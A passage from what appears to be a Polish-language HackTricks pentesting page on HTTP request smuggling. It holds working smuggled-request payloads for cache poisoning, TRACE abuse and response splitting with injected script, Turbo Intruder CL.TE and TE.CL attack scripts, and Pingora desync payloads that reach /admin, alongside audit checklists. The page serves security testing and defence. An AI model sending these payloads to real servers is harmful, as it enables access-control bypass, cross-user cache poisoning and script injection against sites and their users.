`GET /private/messages HTTP/1.1`\
`Foo: X`

Jeśli to przemycone żądanie zatruje wpis cache przeznaczony dla statycznej treści (np. /someimage.png), wrażliwe dane ofiary z /private/messages mogą zostać zapisane w cache pod wpisem statycznej treści. W konsekwencji atakujący mógłby potencjalnie pobrać te zcache’owane wrażliwe dane.

Abusing TRACE via HTTP Request Smuggling

W tym poście sugeruje się, że jeśli serwer ma włączoną metodę TRACE, możliwe może być jej nadużycie za pomocą HTTP Request Smuggling. Dzieje się tak, ponieważ ta metoda odzwierciedli każdy nagłówek wysłany do serwera jako część body odpowiedzi. Na przykład:

TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>

Wyśle odpowiedź, taką jak:

HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115

TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx

Przykład nadużycia tego zachowania polegałby na przemyceniu najpierw request HEAD. Na ten request zostanie zwrócona tylko headers request GET-a (Content-Type wśród nich). A następnie bezpośrednio po HEAD przemyć request TRACE, który będzie odzwierciedlał wysłane data.
Ponieważ response HEAD będzie zawierać header Content-Length, response requestu TRACE zostanie potraktowana jako body response HEAD, a więc będzie odzwierciedlać arbitralne data w response.
Ta response zostanie wysłana jako następny request przez connection, więc można to na przykład wykorzystać w cache’owanym pliku JS do wstrzyknięcia arbitralnego kodu JS.

Abusing TRACE via HTTP Response Splitting

Kontynuując ten post, sugerowana jest inna metoda nadużycia method TRACE. Jak wspomniano, przemycając request HEAD i request TRACE, można kontrolować część odzwierciedlonych data w response do requestu HEAD. Długość body requestu HEAD jest zasadniczo wskazywana w headerze Content-Length i jest tworzona przez response na request TRACE.

Dlatego nowy pomysł polegałby na tym, że znając to Content-Length i data podane w response TRACE, można sprawić, aby response TRACE zawierała poprawny HTTP response po ostatnim bajcie Content-Length, co pozwala attackerowi całkowicie kontrolować request do następnego response (co można wykorzystać do przeprowadzenia cache poisoning).

Przykład:

GET / HTTP/1.1
Host: example.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: example.com

POST /reflect HTTP/1.1
Host: example.com

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>

Will generate te odpowiedzi (zwróć uwagę, jak odpowiedź HEAD ma Content-Length, przez co odpowiedź TRACE staje się częścią body HEAD, a gdy Content-Length odpowiedzi HEAD się kończy, zostaje smuggled poprawna odpowiedź HTTP):

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50

<script>alert(“arbitrary response”)</script>

Weaponizing HTTP Request Smuggling with HTTP Response Desynchronisation

Znalazłeś podatność HTTP Request Smuggling i nie wiesz, jak ją wykorzystać? Wypróbuj te inne metody exploitation:

HTTP Response Smuggling / Desync

Other HTTP Request Smuggling Techniques

  • Browser HTTP Request Smuggling (Client Side)

Browser HTTP Request Smuggling

  • Request Smuggling in HTTP/2 Downgrades

Request Smuggling in HTTP/2 Downgrades

Turbo intruder scripts

CL.TE

Z https://hipotermia.pw/bb/http-desync-idor

def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

Z: https://hipotermia.pw/bb/http-desync-account-takeover

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

Reverse-proxy parsing footguns (Pingora 2026)

Kilka błędów Pingora z 2026 jest przydatnych, ponieważ pokazują primitives desync poza klasycznym CL.TE / TE.CL. Pojawiająca się z tego lekcja jest taka: gdy proxy przestaje parsować zbyt wcześnie, normalizuje Transfer-Encoding inaczej niż backend, albo przechodzi na read-until-close dla body requestów, możesz dostać desync FE↔BE nawet bez tradycyjnej niejednoznaczności CL/TE.

Przedwczesny Upgrade passthrough

Jeśli reverse proxy przełącza się w tryb raw tunnel / passthrough natychmiast po zobaczeniu nagłówka Upgrade, bez czekania, aż backend potwierdzi przełączenie za pomocą 101 Switching Protocols, możesz smuggle’ować drugi request w tym samym strumieniu TCP:

GET / HTTP/1.1
Host: target.com
Upgrade: anything
Content-Length: 0

GET /admin HTTP/1.1
Host: target.com

Front-end parsuje tylko pierwsze żądanie, a potem przekazuje resztę jako surowe bajty. Backend parsuje dołączone bajty jako nowe żądanie z zaufanego IP proxy. Jest to szczególnie przydatne do:

  • Obejścia proxy ACLs, reguł WAF, checks uwierzytelniania i rate limitów.
  • Dotarcia do endpointów dostępnych tylko wewnętrznie, które ufają IP reverse proxy.
  • Wywołania cross-user response queue poisoning na ponownie używanych połączeniach backend.

Podczas audytu proxy zawsze testuj, czy dowolna wartość Upgrade uruchamia passthrough, i sprawdź, czy przełączenie następuje przed, czy po odpowiedzi backendu z 101.

Błędy normalizacji Transfer-Encoding + fallback HTTP/1.0 close-delimited

Inny przydatny wzorzec to:

  1. Proxy widzi, że Transfer-Encoding jest obecny, więc usuwa Content-Length.
  2. Proxy nieprawidłowo normalizuje TE.
  3. Proxy nie ma teraz rozpoznanego framingu i przełącza się na close-delimited request bodies dla HTTP/1.0.
  4. Backend poprawnie rozumie TE i traktuje bajty po 0\r\n\r\n jako nowe żądanie.

Typowe sposoby wyzwolenia tego:

  • Lista TE rozdzielona przecinkami nie jest parsowana:
GET / HTTP/1.0
Host: target.com
Connection: keep-alive
Transfer-Encoding: identity, chunked
Content-Length: 29

0

GET /admin HTTP/1.1
X:
  • Zduplikowane nagłówki TE nie są scalane:
POST /legit HTTP/1.0
Host: target.com
Connection: keep-alive
Transfer-Encoding: identity
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: target.com
X:

Ważne kontrole audytowe to:

  • Czy front-end parsuje ostatni token TE, zgodnie z wymaganiem, gdy chunked jest ostatni?
  • Czy używa wszystkich nagłówków Transfer-Encoding zamiast tylko pierwszego?
  • Czy można wymusić HTTP/1.0, aby uruchomić tryb body read-until-close?
  • Czy proxy kiedykolwiek dopuszcza close-delimited request bodies? To samo w sobie jest sygnałem wysokiej wartości desync.

Ta klasa często wygląda z zewnątrz jak CL.TE, ale prawdziwy primitive to: TE present –> CL stripped –> no valid framing recognized –> request body forwarded until close.

Ten sam audyt Pingora ujawnił też niebezpieczny reverse-proxy cache anti-pattern: wyprowadzanie cache key tylko z URI path, z ignorowaniem Host, scheme lub portu. W środowiskach multi-tenant lub multi-vhost różne hosty mogą wtedy kolidować na tym samym cache entry:

GET /api/data HTTP/1.1
Host: evil.com

GET /api/data HTTP/1.1
Host: victim.com

Jeśli oba requests mapują do tego samego cache key (/api/data), jeden tenant może zatruć content dla innego. Jeśli origin odzwierciedla nagłówek Host w redirectach, CORS, HTML lub script URLs, niskowartościowe odzwierciedlenie Host może stać się cross-user stored cache poisoning.

Podczas review cache, potwierdź, że key zawiera co najmniej:

  • Host / virtual host identity
  • scheme (http vs https), gdy zachowanie się różni
  • port, gdy wiele applications współdzieli tę samą cache namespace

Tools

References

Tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Przeglądaj pełny katalog HackTricks Training dla ścieżek assessment (ARTA/GRTA/AzRTA) oraz Linux Hacking Expert (LHE).

Wsparcie HackTricks